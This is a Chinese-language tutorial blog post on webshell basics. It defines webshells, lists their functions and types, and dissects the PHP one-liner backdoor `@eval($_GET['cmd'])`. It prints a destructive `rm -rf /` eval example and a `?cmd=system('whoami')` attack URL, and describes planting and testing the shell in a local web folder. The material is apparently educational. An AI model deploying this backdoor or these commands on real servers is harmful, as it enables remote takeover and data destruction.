Webshell基础

发布于:2025-07-16 ⋅ 阅读:(14) ⋅ 点赞:(0)

一、简介

Webshell是一种嵌入在Web服务器中的恶意脚本文件(如PHP、ASP、JSP等格式),通常由攻击者通过漏洞上传或植入。它能让攻击者以网页访问的方式远程控制服务器,执行命令、查看/修改文件、窃取数据甚至提权,是黑客入侵Web应用后维持控制权的常用工具。因其伪装性强(常命名为普通脚本名),且通过Web端口通信,容易绕过常规防火墙检测,对服务器安全构成严重威胁。

二、功能

  1. 文件管理:远程上传、下载、删除服务器文件。
  2. 命令执行:直接运行系统命令操控服务器。
  3. 数据库管理:连接并操作各类数据库。
  4. 信息收集:获取服务器配置、环境变量等敏感数据。
  5. 后门持久性:植入隐藏程序或修改系统文件维持长期访问权限。

三、类型

  1. 根据编程语言:php木马、asp木马、基于.NET的aspx木马、基于Java的jsp木马。
  2. 根据文件内容大小:大马、小马、一句话木马。
  3. 根据实现的功能:打包马、拖库马、内存马等。

四、原理

<?php @eval($_GET['cmd']); ?>

1.代码解释

  1. <?php ... ?>
  • 作用:PHP脚本标记
  • 解释:声明此文件包含PHP可执行代码
  • 安全风险:确保上传路径不可访问该文件
  1. @
  • 作用:错误抑制符
  • 解释:隐藏可能出现的错误(如未传参时cmd未定义),增强隐蔽性
  • 攻击价值:避免错误日志暴露恶意行为
  1. eval( )
  • 作用:代码执行核心
  • 解释:将字符串解析为PHP代码执行
  • 高危行为
    eval("system('rm -rf /')")       // 删除文件
    eval("file_put_contents('hack.php','恶意代码')")  // 创建新木马
    
  1. $_GET['cmd']
  • 作用:指令输入通道
  • 解释:获取URL中?cmd=后的参数值
  • 攻击特征
    http://目标/shell.php?cmd=system('whoami')
    
    参数值system('whoami')将被执行
  1. ;
  • 作用:语句结束符
  • 解释:PHP语法要求,结束当前表达式

2.工作原理

  1. 接收输入:通过HTTP请求参数(如POST中的$_POST[‘x’])接收攻击者发送的指令。
  2. 执行命令:利用脚本语言的高危函数(如PHP的eval()或system())将输入内容作为代码或系统命令动态执行。
  3. 返回结果:将命令执行结果直接嵌入HTTP响应体返回给攻击者,整个过程以Web服务器进程权限运行(如Linux的www-data),借助HTTP/HTTPS协议实现隐蔽通信,使得攻击者无需物理接触服务器即可远程控制系统。

五、使用

  1. 在www文件夹下添加一个php文件,放入一句话木马。
<?php @eval($_GET['cmd']); ?>

在这里插入图片描述

  1. 打开浏览器访问该文件,显示空白页面为正常页面。
    在这里插入图片描述
  2. 添加指令?cmd=phpinfo();

在这里插入图片描述

  1. 修改文件中的get为post。
    在这里插入图片描述

  2. 也可成功显示出页面。
    在这里插入图片描述


网站公告

今日签到

点亮在社区的每一天
去签到